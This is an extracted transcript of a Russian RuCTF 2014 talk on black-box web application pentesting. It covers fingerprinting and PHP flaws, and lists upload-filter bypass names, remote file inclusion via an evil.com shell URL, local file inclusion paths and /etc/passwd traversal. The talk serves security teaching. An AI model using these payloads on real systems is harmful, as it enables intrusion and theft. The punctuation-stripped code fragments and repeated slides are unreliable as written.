Blackbox-тестирование веб-приложений
description
Transcript of Blackbox-тестирование веб-приложений
Секреты чёрного ящика
Омар ГаниевRuCTF 2014
Екатеринбург
Кто я
bull Beched (ahackru ahack_ru)bull Выпускник и студент-магистрант факультета
математики НИУ-ВШЭbull Участник независимого сообщества и CTF-
команды RDotOrgbull Эксперт в IncSecurity (анализ
защищённости)
Чёрный ящик
Black box
Чёрный ящик = Black box
Анализ защищённости
bull Белым ящикомndash Об объекта анализа известно всёndash Есть исходные тексты карты сети и т д
bull Чёрным ящикомndash Известны только точки входа (или даже их нет)ndash Заказчик не выдаёт информацию
bull Серый ящикndash На практике всегда что-то среднееndash Например есть учётные записи но нет исходных
текстов
Почему black box
bull Модель атаки близкая к чёрному ящику наиболее точно воспроизводит действия большинства злоумышленников
bull Если что-то удалось взломать чёрным ящиком то белым ящиком это будет ещё проще
bull Заказчики часто просто не хотят доверять доступ к исходникам своих продуктов или к серверам с конфиденциальной информацией
План
bull Первая частьndash Приёмы разведки (reconnaissance)ndash Определение используемых технологийndash (Тихий) сбор информацииndash Быстрый поверхностный анализ (fuzzing)
bull Вторая частьndash Некоторые уязвимости PHPndash Тестирование интерфейсов загрузки файловndash Уязвимости типа file inclusionndash Уязвимости механизмов десериализации
Первые шагиbull Перед Вами веб-приложение Что делать
Первые шаги
Первые шаги
bull Включаем локальный прокси-сервер (Burp Suite OWASP ZAP hellip)
bull Гуляем по сайтуbull Смотрим на запросы в логах прокси-
сервераbull Смотрим на HTTP-заголовки и содержимое
ответов
Главные идеи
bull Полезно прикинуть учитывая полученные данные как бы Вы реализовали имеющийся функционал если бы были разработчиком (взгляд изнутри ящика)
bull А затем подумать какие ошибки Вы могли бы допустить и как их можно проэксплуатировать (взгляд извне ящика)
Распознавание платформbull Веб-серверы часто оставляют подпись в
HTTP-заголовке Serverbull Также есть специфичные запросы
например lsquoa=aampa[]=arsquo который вызывает ошибку 500 в Rack Server
bull Языки программирования могут быть определены по заголовку X-Powered-by или просто по расширениям файлов (php aspx и т д)
Распознавание платформ
bull Если определить конкретный используемый движок то с языком опять-таки всё будет ясно
bull Кроме того различным языкам свойственны различные способы приведения типов нормализации и кодирования данных
bull Например если PHP получит массив вместо строки и попытается его вывести через echo массив будет приведён к строке lsquoArrayrsquo
Распознавание платформ
bull Веб-фреймворки могут быть узнаны по ключевым словам в HTTP-заголовках и в HTML-содержимом
bull Атрибут csrfmiddlewaretoken в формах ndashпризнак Django framework
bull Cookie-идентификатор _someprojectname_sess ndash признак Ruby on Rails framework
bull Cookie-идентификатор mojolicious ndash признак Perl-фреймворка Mojolicious
Распознавание платформbull Также взгляните на CSS и JS файлы robotstxt
CHANGELOG и т дbull Эти файлы часто содержат подпись и текущую версию
установленной CMSbull Ещё иногда бывает HTTP-заголовок X-Powered-CMS
(например у Bitrix)bull Часто название CMS написано в атрибуте generator
HTML-тега metabull Ещё ключевые слова com_smth (com_content) =gt Joomla
dle_root =gt DataLife Engine wp-content =gt WordPress и т д
Сбор информации
bull Проверьте наличие специальных файлов и директорий sitemapxml crossdomainxml robotstxt CHANGELOG svn ssh git CVS DS_Store Thumbsdb testphp infophp phpinfophp phpphp etchellip
bull Поищите бекапы исходных текстов fileext~ fileextswp fileextsave fileextpart fileext fileext fileextbak fileextold fileextun~ filephps filetxt etchellip
bull Перебор файлов и директорий по словарю
Сбор информации
bull Также можно обнаружить бекапы баз в директориях типа backups или dumps При этом можно даже угадать формат имени файла например dd-mm-yyyysql
bull Всё это даёт большой объём информации значительно laquoобеляяraquo чёрный ящик Доступ к репозиториям с исходными текстами и вовсе делает его белым
Сбор информации
bull Анализ веб-приложения часто осложняется использованием технологий web 20
bull URL в стиле REST или MVC скрывают начинку и ограничивают формат передаваемых данных
bull Типичный и удобный для взлома пример ndash Apache с mod_rewrite (и PHP)
bull В htaccess указываются регулярные выражения задающие отображение из ЧПУ в настоящие URL
Сбор информации
bull Часто прямой доступ к сценариям не запрещён что позволяет найти их перебором или угадыванием
bull Также можно применить особенность многих версий Apache ndash раскрытие имени сценария в странице HTTP-ошибки 413
bull POST-запрос с некорректным заголовком Content-Length позволяет получить имя сценария
Сбор информацииbull Следующим шагом является получение списка
параметров веб-приложения (POST GET Cookie а также заголовки)
bull Их можно угадать исходя из структуры используемых на сайте ссылок
bull Также можно перебрать по словарю причём используя не линейный а логарифмический поиск
bull par1=1amppar2=1amppar3=1amphellipamppar_i=1amphellipbull Дихотомия по множеству параметров и
размерусодержимому HTTP-ответа
Быстрый fuzzing
bull По-хорошему надо фаззить каждый параметр каждого сценария но это довольно долго и опасно (можно что-нибудь уронить)
bull Поэтому полезно выделить основные точки входа в веб-приложение выделить запросы которые не изменяют состояния приложения или изменяют состояние лишь для конкретного пользователя
bull Наиболее вероятные точки проникновения выделить исходя из интуиции и опыта
Быстрый fuzzingbull Сорить в логах ndash нехорошо (и вовсе не только для
black-hatrsquoов)bull Поэтому надо пытаться максимизировать количество
получаемой информации в результате одного запросаbull Это ещё и увлекательная задача на составление
универсальных векторовbull Пример param=a0atesttsetlthokgt26kohbull Проверяем XSS HTTP response splitting HPP SQL-
инъекции а также различные виды иных инъекций кода
Быстрый fuzzing
bull Помимо прочего полезно проверить некоторые массовые уязвимости CVE-2012-1823 CVE-2013-0156 CVE-2014-0160 и т д
bull Какой инструментарий Многое из рассказанного реализовано во фреймворке LibPyWebHack httpsgithubcombechedlibpywebhack
bull В локальной версии у меня реализовано больше когда-нибудь допилю и выложу =)
Уязвимости PHP
bull Почему PHP
Почему ломаем PHP
bull Низкий порог вхождения много глупых кодеров с низкопробным кодом
bull Запутанный язык с месивом различным парадигм
bull Годы небезопасной разработки и тучи учебников и статей с уязвимыми примерами
bull bull PROFIT
lt=$question[0]
bull Где уязвимостьltsession_start()if(isset($_SESSION[is_admin]))
header(Location loginphp)require_once includesadminphphellip
lt=$answer[0]
bull Что делает header()bull Отсылает браузеру HTTP заголовкиbull Это прекращает выполнение сценария НЕТbull Получается мы можем получить доступ к
административному интерфейсуbull Для этого удобно задать в Burp Suite
правило заменяющее в заголовке ответа lsquo302 Foundrsquo на lsquo200 OKrsquo
lt=$question[1]
bull Где уязвимостьlt$salt = somesecret$time = microtime()$file = $_GET[file]$sign = substr(md5($salt$file$time) 0 10)if($sign == $_GET[sign])
readfile($file)
lt=$answer[1]
bull Небезопасное сравнение Оператор проверки эквивалентности в PHP ndash это == а тождественности ndash ===
bull Это означает что == влечёт приведение типов что приводит к неожиданностям
php gt var_dump(00e123123123==0)bool(true)bull Как воспользоваться уязвимостью Достаточно слать
запросы с подписью 0 и ждать пока усечённое значение хеша будет соответствовать 0+ed+
lt=$question[2]
bull Где уязвимостьlt$name = basename($_GET[name])$data = $_GET[data]file_put_contents(htmls$name $data)readfile(htmls$name)unlink(htmls$name)
lt=$answer[2]bull Combo-break Очевидное состояние гонки и менее
очевидная уязвимость PHP Атомарными на верхнем уровне можно считать операции записи чтения и удаления файла
bull Сценарий не блокирует доступ к файлу для других потоков поэтому можно обратиться к нему параллельно и выполнить произвольный код (в php-файле)
bull Кроме того можно остановить сценарий в момент вывода данных в браузер если заменить метод GET на метод HEAD См httpsstudentsmimuwedupl~ai292615php_head_trickpdf
Загрузка файлов
bull Интерфейс загрузки файлов достаточно легко реализовать безопасно однако очень часто разработчики либо совсем забывают про этот аспект либо делают ненужные костыли
bull По сути проверка корректности имени файла превращается в WAF с сопутствующими типичными ошибками
Загрузка файлов
bull Регистрозависимость shellPhP не соответствует запрещающему регулярному выражению php$
bull Отсутствие терминирующего символа shelljpgphp соответствует ^[w]+jpgis
bull Black-listing расширений htaccess testphp3 не соответствуют php$i
bull Black-listing и MIME-типы в Apache shellphpasd не соответствует (htaccess|php3)$is (расширение asd будет отброшено веб-сервером)
Загрузка файлов
bull Управляющие символы в выражении shellphpXXjpg соответствует [w]+jpg$is
bull Терминирующий символ в группе shellbmpphp соответствует ^[w]+(bmp|gif|jpg$)is
bull URL-декодирование имени файла shellphp00jpg проходит разумные проверки но после декодирования будет создан файл shellphp
bull Проверка содержимого getimagesize() обходится очень легко (заголовок GIF11anaa например) Обход сжатия httpsrdotorgforumshowthreadphpt=2780
Загрузка файлов
bull Проверка MIME-типа вместо расширения или содержимого любой файл можно загрузить с Content-Type imagegif
bull Множественная загрузка в интерпретаторе PHP имелась уязвимость (исправлена примерно в 54 версии) позволяющая читать и загружать произвольные файлы путём разрушения структуры массива $_FILES См httpstudentsmimuwedupl~ai292615php_multipleupload_overwritepdf и httpsrdotorgforumshowthreadphpt=1329
File inclusion
bull В PHP-приложениях достаточно распространены уязвимости связанные с чтением или исполнением произвольных файлов
bull Рассмотрим подробнее второй тип ndash подключение исполняемого PHP-кода
bull При этом путь с точки зрения PHP ndash это не просто локальный путь в файловой системе а URL
bull Поэтому разделяют Local File Inclusion и Remote File Inclusion
File inclusion
bull Чтение file_get_contents readfile highlight_file fopen и т д
bull Подключение include(_once) require(_once) и т д
bull Зависимости для эксплуатации RFI в phpini allow_url_fopen = On allow_url_include = On
bull URL-обёртки поддерживаемые PHP httpphpnetmanualenwrappersphp
RFI
bull Суффикс неважен поскольку имена файлов на своём сервере атакующий контролирует Но можно его отбросить при помощи символов x00 обёртки data
bull Варианты запроса httpevilcomshelltxt dataltphpinfo()gt
bull SSRF можно сканировать и просматривать внутреннюю сеть http10101xxport
bull Потенциально возможно исполнение произвольного кода например через обёртку expect
LFI
bull Без префикса pathfile zippathtozipfile phpfilterread=base64encoderesource=pathscriptphp
bull С префиксом pathfilebull С постфиксом pathfile00
pathfile[x~4096] (до версии 534) а также загрузка файла с нужным расширением в доступную директорию
LFI
bull Что подключать Ищем загрузку документов аватаров и т д
bull varlogaccesslog procselfenviron varmail tmpsess_$PHPSESSID любые другие логи доступные на запись
bull Что если include includes str_replace( $_GET[page]) Это тупой нерекурсивный WAF вот обход page=helliphelliphelliphellipetcpasswd
Трюкиbull Such race conditionbull Many shellsbull Very LFI via PHPInfo Wowbull Что если не доступны ни логи ни загрузки Есть
phpinfo() (см слайд 14)bull Утечка имени временного файла через phpinfo()
состояние гонки при замедлении исполнения сценария (до 30 с) в результате имеем подключение файла с произвольным содержимым
bull См httpsrdotorgforumshowthreadphpt=1134
Трюки
bull PHP ndash это весело Windows ndash это весело Смешать но не взбалтывать
bull Windows CsomedirDotherdirfilebull WinAPI ndash это клёво и WinAPI в PHP ndash ещё клёвееHANDLE WINAPI FindFirstFile( _In_ LPCTSTR lpFileName
_Out_ LPWIN32_FIND_DATA lpFindFileData )bull FindFirstFile() используется многими конструкциями
PHP в т ч includebull Угадайте что будет подключеноinclude Cltootltlt
Трюки
bull Таким образом в Windows + PHP даже не нужен phpinfo-сценарий для эксплуатации LFI через временный файл
bull Достаточно отправить файл с шеллкодом и одновременно подключить имя WindowsTempphpltlttmp
bull API-вызов FindFirstFile самостоятельно отыщет временный файл с шеллкодом
bull См httpsrdotorgforumshowthreadphpt=926
Трюкиbull Заметим что трудности могут возникнуть при
включённом Suhosin Patch от Стефана Эссераbull Исполнить загруженный в текущем потоке файл
не удастся поэтому всё равно нужна гонкаbull Ещё из магии Windows+PHP ndash угадайте что
будет подключеноinclude bechedDesktoptesttxtbull Это обход ограничение allow_url_include и
allow_url_fopen См httpsrdotorgforumshowpostphpp=26499amppostcount=58
Десериализация вкратце
bull Уязвимости механизмов сериализации данных ndash не редкость Нашумевшие уязвимости с unserialize() в PHP-движках и с YAML в Ruby on Rails Pickle-сериализация в Python
bull (De)serialization Objects () Stringsbull Уязвимости основаны на том что при
десериализации произвольных данных возможно создание объектов произвольных классов а также вызов определённых laquoмагическихraquo методов (см httpwwwphpnetmanualrulanguageoop5magicphp)
Десериализация вкратце
bull Задача ndash найти доступные классы с магическими методами которые будут вызваны и могут использованы для несанкционированного доступа
bull Часто для этого используется __destruct()bull См
httpsrdotorgforumshowthreadphpt=950
Трюки
bull Можно выделить некоторые трюки Ошибки в обработке строк сериализации httpsrdotorgforumshowthreadphpt=1742
bull Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса-обработчика SOAP-объектов httpraz0rnametalksconfidence-2013-php-object-injection-revisited
Заключение
bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups
documentation coding testing researchbull Надеюсь узнали и запомнили что-то
полезное
Спасибо за внимание
adminahackrubechedincsecurityru
- Секреты чёрного ящика
- Кто я
- Чёрный ящик
- Black box
- Чёрный ящик = Black box
- Анализ защищённости
- Почему black box
- План
- Первые шаги
- Первые шаги (2)
- Первые шаги (3)
- Главные идеи
- Распознавание платформ
- Распознавание платформ (2)
- Распознавание платформ (3)
- Распознавание платформ (4)
- Сбор информации
- Сбор информации (2)
- Сбор информации (3)
- Сбор информации (4)
- Сбор информации (5)
- Быстрый fuzzing
- Быстрый fuzzing (2)
- Быстрый fuzzing (3)
- Уязвимости PHP
- Почему ломаем PHP
- lt=$question[0]
- lt=$answer[0]
- lt=$question[1]
- lt=$answer[1]
- lt=$question[2]
- lt=$answer[2]
- Загрузка файлов
- Загрузка файлов (2)
- Загрузка файлов (3)
- Загрузка файлов (4)
- File inclusion
- File inclusion (2)
- RFI
- LFI
- LFI (2)
- Трюки
- Трюки (2)
- Трюки (3)
- Трюки (4)
- Десериализация вкратце
- Десериализация вкратце (2)
- Трюки (5)
- Заключение
- Спасибо за внимание
-
Кто я
bull Beched (ahackru ahack_ru)bull Выпускник и студент-магистрант факультета
математики НИУ-ВШЭbull Участник независимого сообщества и CTF-
команды RDotOrgbull Эксперт в IncSecurity (анализ
защищённости)
Чёрный ящик
Black box
Чёрный ящик = Black box
Анализ защищённости
bull Белым ящикомndash Об объекта анализа известно всёndash Есть исходные тексты карты сети и т д
bull Чёрным ящикомndash Известны только точки входа (или даже их нет)ndash Заказчик не выдаёт информацию
bull Серый ящикndash На практике всегда что-то среднееndash Например есть учётные записи но нет исходных
текстов
Почему black box
bull Модель атаки близкая к чёрному ящику наиболее точно воспроизводит действия большинства злоумышленников
bull Если что-то удалось взломать чёрным ящиком то белым ящиком это будет ещё проще
bull Заказчики часто просто не хотят доверять доступ к исходникам своих продуктов или к серверам с конфиденциальной информацией
План
bull Первая частьndash Приёмы разведки (reconnaissance)ndash Определение используемых технологийndash (Тихий) сбор информацииndash Быстрый поверхностный анализ (fuzzing)
bull Вторая частьndash Некоторые уязвимости PHPndash Тестирование интерфейсов загрузки файловndash Уязвимости типа file inclusionndash Уязвимости механизмов десериализации
Первые шагиbull Перед Вами веб-приложение Что делать
Первые шаги
Первые шаги
bull Включаем локальный прокси-сервер (Burp Suite OWASP ZAP hellip)
bull Гуляем по сайтуbull Смотрим на запросы в логах прокси-
сервераbull Смотрим на HTTP-заголовки и содержимое
ответов
Главные идеи
bull Полезно прикинуть учитывая полученные данные как бы Вы реализовали имеющийся функционал если бы были разработчиком (взгляд изнутри ящика)
bull А затем подумать какие ошибки Вы могли бы допустить и как их можно проэксплуатировать (взгляд извне ящика)
Распознавание платформbull Веб-серверы часто оставляют подпись в
HTTP-заголовке Serverbull Также есть специфичные запросы
например lsquoa=aampa[]=arsquo который вызывает ошибку 500 в Rack Server
bull Языки программирования могут быть определены по заголовку X-Powered-by или просто по расширениям файлов (php aspx и т д)
Распознавание платформ
bull Если определить конкретный используемый движок то с языком опять-таки всё будет ясно
bull Кроме того различным языкам свойственны различные способы приведения типов нормализации и кодирования данных
bull Например если PHP получит массив вместо строки и попытается его вывести через echo массив будет приведён к строке lsquoArrayrsquo
Распознавание платформ
bull Веб-фреймворки могут быть узнаны по ключевым словам в HTTP-заголовках и в HTML-содержимом
bull Атрибут csrfmiddlewaretoken в формах ndashпризнак Django framework
bull Cookie-идентификатор _someprojectname_sess ndash признак Ruby on Rails framework
bull Cookie-идентификатор mojolicious ndash признак Perl-фреймворка Mojolicious
Распознавание платформbull Также взгляните на CSS и JS файлы robotstxt
CHANGELOG и т дbull Эти файлы часто содержат подпись и текущую версию
установленной CMSbull Ещё иногда бывает HTTP-заголовок X-Powered-CMS
(например у Bitrix)bull Часто название CMS написано в атрибуте generator
HTML-тега metabull Ещё ключевые слова com_smth (com_content) =gt Joomla
dle_root =gt DataLife Engine wp-content =gt WordPress и т д
Сбор информации
bull Проверьте наличие специальных файлов и директорий sitemapxml crossdomainxml robotstxt CHANGELOG svn ssh git CVS DS_Store Thumbsdb testphp infophp phpinfophp phpphp etchellip
bull Поищите бекапы исходных текстов fileext~ fileextswp fileextsave fileextpart fileext fileext fileextbak fileextold fileextun~ filephps filetxt etchellip
bull Перебор файлов и директорий по словарю
Сбор информации
bull Также можно обнаружить бекапы баз в директориях типа backups или dumps При этом можно даже угадать формат имени файла например dd-mm-yyyysql
bull Всё это даёт большой объём информации значительно laquoобеляяraquo чёрный ящик Доступ к репозиториям с исходными текстами и вовсе делает его белым
Сбор информации
bull Анализ веб-приложения часто осложняется использованием технологий web 20
bull URL в стиле REST или MVC скрывают начинку и ограничивают формат передаваемых данных
bull Типичный и удобный для взлома пример ndash Apache с mod_rewrite (и PHP)
bull В htaccess указываются регулярные выражения задающие отображение из ЧПУ в настоящие URL
Сбор информации
bull Часто прямой доступ к сценариям не запрещён что позволяет найти их перебором или угадыванием
bull Также можно применить особенность многих версий Apache ndash раскрытие имени сценария в странице HTTP-ошибки 413
bull POST-запрос с некорректным заголовком Content-Length позволяет получить имя сценария
Сбор информацииbull Следующим шагом является получение списка
параметров веб-приложения (POST GET Cookie а также заголовки)
bull Их можно угадать исходя из структуры используемых на сайте ссылок
bull Также можно перебрать по словарю причём используя не линейный а логарифмический поиск
bull par1=1amppar2=1amppar3=1amphellipamppar_i=1amphellipbull Дихотомия по множеству параметров и
размерусодержимому HTTP-ответа
Быстрый fuzzing
bull По-хорошему надо фаззить каждый параметр каждого сценария но это довольно долго и опасно (можно что-нибудь уронить)
bull Поэтому полезно выделить основные точки входа в веб-приложение выделить запросы которые не изменяют состояния приложения или изменяют состояние лишь для конкретного пользователя
bull Наиболее вероятные точки проникновения выделить исходя из интуиции и опыта
Быстрый fuzzingbull Сорить в логах ndash нехорошо (и вовсе не только для
black-hatrsquoов)bull Поэтому надо пытаться максимизировать количество
получаемой информации в результате одного запросаbull Это ещё и увлекательная задача на составление
универсальных векторовbull Пример param=a0atesttsetlthokgt26kohbull Проверяем XSS HTTP response splitting HPP SQL-
инъекции а также различные виды иных инъекций кода
Быстрый fuzzing
bull Помимо прочего полезно проверить некоторые массовые уязвимости CVE-2012-1823 CVE-2013-0156 CVE-2014-0160 и т д
bull Какой инструментарий Многое из рассказанного реализовано во фреймворке LibPyWebHack httpsgithubcombechedlibpywebhack
bull В локальной версии у меня реализовано больше когда-нибудь допилю и выложу =)
Уязвимости PHP
bull Почему PHP
Почему ломаем PHP
bull Низкий порог вхождения много глупых кодеров с низкопробным кодом
bull Запутанный язык с месивом различным парадигм
bull Годы небезопасной разработки и тучи учебников и статей с уязвимыми примерами
bull bull PROFIT
lt=$question[0]
bull Где уязвимостьltsession_start()if(isset($_SESSION[is_admin]))
header(Location loginphp)require_once includesadminphphellip
lt=$answer[0]
bull Что делает header()bull Отсылает браузеру HTTP заголовкиbull Это прекращает выполнение сценария НЕТbull Получается мы можем получить доступ к
административному интерфейсуbull Для этого удобно задать в Burp Suite
правило заменяющее в заголовке ответа lsquo302 Foundrsquo на lsquo200 OKrsquo
lt=$question[1]
bull Где уязвимостьlt$salt = somesecret$time = microtime()$file = $_GET[file]$sign = substr(md5($salt$file$time) 0 10)if($sign == $_GET[sign])
readfile($file)
lt=$answer[1]
bull Небезопасное сравнение Оператор проверки эквивалентности в PHP ndash это == а тождественности ndash ===
bull Это означает что == влечёт приведение типов что приводит к неожиданностям
php gt var_dump(00e123123123==0)bool(true)bull Как воспользоваться уязвимостью Достаточно слать
запросы с подписью 0 и ждать пока усечённое значение хеша будет соответствовать 0+ed+
lt=$question[2]
bull Где уязвимостьlt$name = basename($_GET[name])$data = $_GET[data]file_put_contents(htmls$name $data)readfile(htmls$name)unlink(htmls$name)
lt=$answer[2]bull Combo-break Очевидное состояние гонки и менее
очевидная уязвимость PHP Атомарными на верхнем уровне можно считать операции записи чтения и удаления файла
bull Сценарий не блокирует доступ к файлу для других потоков поэтому можно обратиться к нему параллельно и выполнить произвольный код (в php-файле)
bull Кроме того можно остановить сценарий в момент вывода данных в браузер если заменить метод GET на метод HEAD См httpsstudentsmimuwedupl~ai292615php_head_trickpdf
Загрузка файлов
bull Интерфейс загрузки файлов достаточно легко реализовать безопасно однако очень часто разработчики либо совсем забывают про этот аспект либо делают ненужные костыли
bull По сути проверка корректности имени файла превращается в WAF с сопутствующими типичными ошибками
Загрузка файлов
bull Регистрозависимость shellPhP не соответствует запрещающему регулярному выражению php$
bull Отсутствие терминирующего символа shelljpgphp соответствует ^[w]+jpgis
bull Black-listing расширений htaccess testphp3 не соответствуют php$i
bull Black-listing и MIME-типы в Apache shellphpasd не соответствует (htaccess|php3)$is (расширение asd будет отброшено веб-сервером)
Загрузка файлов
bull Управляющие символы в выражении shellphpXXjpg соответствует [w]+jpg$is
bull Терминирующий символ в группе shellbmpphp соответствует ^[w]+(bmp|gif|jpg$)is
bull URL-декодирование имени файла shellphp00jpg проходит разумные проверки но после декодирования будет создан файл shellphp
bull Проверка содержимого getimagesize() обходится очень легко (заголовок GIF11anaa например) Обход сжатия httpsrdotorgforumshowthreadphpt=2780
Загрузка файлов
bull Проверка MIME-типа вместо расширения или содержимого любой файл можно загрузить с Content-Type imagegif
bull Множественная загрузка в интерпретаторе PHP имелась уязвимость (исправлена примерно в 54 версии) позволяющая читать и загружать произвольные файлы путём разрушения структуры массива $_FILES См httpstudentsmimuwedupl~ai292615php_multipleupload_overwritepdf и httpsrdotorgforumshowthreadphpt=1329
File inclusion
bull В PHP-приложениях достаточно распространены уязвимости связанные с чтением или исполнением произвольных файлов
bull Рассмотрим подробнее второй тип ndash подключение исполняемого PHP-кода
bull При этом путь с точки зрения PHP ndash это не просто локальный путь в файловой системе а URL
bull Поэтому разделяют Local File Inclusion и Remote File Inclusion
File inclusion
bull Чтение file_get_contents readfile highlight_file fopen и т д
bull Подключение include(_once) require(_once) и т д
bull Зависимости для эксплуатации RFI в phpini allow_url_fopen = On allow_url_include = On
bull URL-обёртки поддерживаемые PHP httpphpnetmanualenwrappersphp
RFI
bull Суффикс неважен поскольку имена файлов на своём сервере атакующий контролирует Но можно его отбросить при помощи символов x00 обёртки data
bull Варианты запроса httpevilcomshelltxt dataltphpinfo()gt
bull SSRF можно сканировать и просматривать внутреннюю сеть http10101xxport
bull Потенциально возможно исполнение произвольного кода например через обёртку expect
LFI
bull Без префикса pathfile zippathtozipfile phpfilterread=base64encoderesource=pathscriptphp
bull С префиксом pathfilebull С постфиксом pathfile00
pathfile[x~4096] (до версии 534) а также загрузка файла с нужным расширением в доступную директорию
LFI
bull Что подключать Ищем загрузку документов аватаров и т д
bull varlogaccesslog procselfenviron varmail tmpsess_$PHPSESSID любые другие логи доступные на запись
bull Что если include includes str_replace( $_GET[page]) Это тупой нерекурсивный WAF вот обход page=helliphelliphelliphellipetcpasswd
Трюкиbull Such race conditionbull Many shellsbull Very LFI via PHPInfo Wowbull Что если не доступны ни логи ни загрузки Есть
phpinfo() (см слайд 14)bull Утечка имени временного файла через phpinfo()
состояние гонки при замедлении исполнения сценария (до 30 с) в результате имеем подключение файла с произвольным содержимым
bull См httpsrdotorgforumshowthreadphpt=1134
Трюки
bull PHP ndash это весело Windows ndash это весело Смешать но не взбалтывать
bull Windows CsomedirDotherdirfilebull WinAPI ndash это клёво и WinAPI в PHP ndash ещё клёвееHANDLE WINAPI FindFirstFile( _In_ LPCTSTR lpFileName
_Out_ LPWIN32_FIND_DATA lpFindFileData )bull FindFirstFile() используется многими конструкциями
PHP в т ч includebull Угадайте что будет подключеноinclude Cltootltlt
Трюки
bull Таким образом в Windows + PHP даже не нужен phpinfo-сценарий для эксплуатации LFI через временный файл
bull Достаточно отправить файл с шеллкодом и одновременно подключить имя WindowsTempphpltlttmp
bull API-вызов FindFirstFile самостоятельно отыщет временный файл с шеллкодом
bull См httpsrdotorgforumshowthreadphpt=926
Трюкиbull Заметим что трудности могут возникнуть при
включённом Suhosin Patch от Стефана Эссераbull Исполнить загруженный в текущем потоке файл
не удастся поэтому всё равно нужна гонкаbull Ещё из магии Windows+PHP ndash угадайте что
будет подключеноinclude bechedDesktoptesttxtbull Это обход ограничение allow_url_include и
allow_url_fopen См httpsrdotorgforumshowpostphpp=26499amppostcount=58
Десериализация вкратце
bull Уязвимости механизмов сериализации данных ndash не редкость Нашумевшие уязвимости с unserialize() в PHP-движках и с YAML в Ruby on Rails Pickle-сериализация в Python
bull (De)serialization Objects () Stringsbull Уязвимости основаны на том что при
десериализации произвольных данных возможно создание объектов произвольных классов а также вызов определённых laquoмагическихraquo методов (см httpwwwphpnetmanualrulanguageoop5magicphp)
Десериализация вкратце
bull Задача ndash найти доступные классы с магическими методами которые будут вызваны и могут использованы для несанкционированного доступа
bull Часто для этого используется __destruct()bull См
httpsrdotorgforumshowthreadphpt=950
Трюки
bull Можно выделить некоторые трюки Ошибки в обработке строк сериализации httpsrdotorgforumshowthreadphpt=1742
bull Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса-обработчика SOAP-объектов httpraz0rnametalksconfidence-2013-php-object-injection-revisited
Заключение
bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups
documentation coding testing researchbull Надеюсь узнали и запомнили что-то
полезное
Спасибо за внимание
adminahackrubechedincsecurityru
- Секреты чёрного ящика
- Кто я
- Чёрный ящик
- Black box
- Чёрный ящик = Black box
- Анализ защищённости
- Почему black box
- План
- Первые шаги
- Первые шаги (2)
- Первые шаги (3)
- Главные идеи
- Распознавание платформ
- Распознавание платформ (2)
- Распознавание платформ (3)
- Распознавание платформ (4)
- Сбор информации
- Сбор информации (2)
- Сбор информации (3)
- Сбор информации (4)
- Сбор информации (5)
- Быстрый fuzzing
- Быстрый fuzzing (2)
- Быстрый fuzzing (3)
- Уязвимости PHP
- Почему ломаем PHP
- lt=$question[0]
- lt=$answer[0]
- lt=$question[1]
- lt=$answer[1]
- lt=$question[2]
- lt=$answer[2]
- Загрузка файлов
- Загрузка файлов (2)
- Загрузка файлов (3)
- Загрузка файлов (4)
- File inclusion
- File inclusion (2)
- RFI
- LFI
- LFI (2)
- Трюки
- Трюки (2)
- Трюки (3)
- Трюки (4)
- Десериализация вкратце
- Десериализация вкратце (2)
- Трюки (5)
- Заключение
- Спасибо за внимание
-
Чёрный ящик
Black box
Чёрный ящик = Black box
Анализ защищённости
bull Белым ящикомndash Об объекта анализа известно всёndash Есть исходные тексты карты сети и т д
bull Чёрным ящикомndash Известны только точки входа (или даже их нет)ndash Заказчик не выдаёт информацию
bull Серый ящикndash На практике всегда что-то среднееndash Например есть учётные записи но нет исходных
текстов
Почему black box
bull Модель атаки близкая к чёрному ящику наиболее точно воспроизводит действия большинства злоумышленников
bull Если что-то удалось взломать чёрным ящиком то белым ящиком это будет ещё проще
bull Заказчики часто просто не хотят доверять доступ к исходникам своих продуктов или к серверам с конфиденциальной информацией
План
bull Первая частьndash Приёмы разведки (reconnaissance)ndash Определение используемых технологийndash (Тихий) сбор информацииndash Быстрый поверхностный анализ (fuzzing)
bull Вторая частьndash Некоторые уязвимости PHPndash Тестирование интерфейсов загрузки файловndash Уязвимости типа file inclusionndash Уязвимости механизмов десериализации
Первые шагиbull Перед Вами веб-приложение Что делать
Первые шаги
Первые шаги
bull Включаем локальный прокси-сервер (Burp Suite OWASP ZAP hellip)
bull Гуляем по сайтуbull Смотрим на запросы в логах прокси-
сервераbull Смотрим на HTTP-заголовки и содержимое
ответов
Главные идеи
bull Полезно прикинуть учитывая полученные данные как бы Вы реализовали имеющийся функционал если бы были разработчиком (взгляд изнутри ящика)
bull А затем подумать какие ошибки Вы могли бы допустить и как их можно проэксплуатировать (взгляд извне ящика)
Распознавание платформbull Веб-серверы часто оставляют подпись в
HTTP-заголовке Serverbull Также есть специфичные запросы
например lsquoa=aampa[]=arsquo который вызывает ошибку 500 в Rack Server
bull Языки программирования могут быть определены по заголовку X-Powered-by или просто по расширениям файлов (php aspx и т д)
Распознавание платформ
bull Если определить конкретный используемый движок то с языком опять-таки всё будет ясно
bull Кроме того различным языкам свойственны различные способы приведения типов нормализации и кодирования данных
bull Например если PHP получит массив вместо строки и попытается его вывести через echo массив будет приведён к строке lsquoArrayrsquo
Распознавание платформ
bull Веб-фреймворки могут быть узнаны по ключевым словам в HTTP-заголовках и в HTML-содержимом
bull Атрибут csrfmiddlewaretoken в формах ndashпризнак Django framework
bull Cookie-идентификатор _someprojectname_sess ndash признак Ruby on Rails framework
bull Cookie-идентификатор mojolicious ndash признак Perl-фреймворка Mojolicious
Распознавание платформbull Также взгляните на CSS и JS файлы robotstxt
CHANGELOG и т дbull Эти файлы часто содержат подпись и текущую версию
установленной CMSbull Ещё иногда бывает HTTP-заголовок X-Powered-CMS
(например у Bitrix)bull Часто название CMS написано в атрибуте generator
HTML-тега metabull Ещё ключевые слова com_smth (com_content) =gt Joomla
dle_root =gt DataLife Engine wp-content =gt WordPress и т д
Сбор информации
bull Проверьте наличие специальных файлов и директорий sitemapxml crossdomainxml robotstxt CHANGELOG svn ssh git CVS DS_Store Thumbsdb testphp infophp phpinfophp phpphp etchellip
bull Поищите бекапы исходных текстов fileext~ fileextswp fileextsave fileextpart fileext fileext fileextbak fileextold fileextun~ filephps filetxt etchellip
bull Перебор файлов и директорий по словарю
Сбор информации
bull Также можно обнаружить бекапы баз в директориях типа backups или dumps При этом можно даже угадать формат имени файла например dd-mm-yyyysql
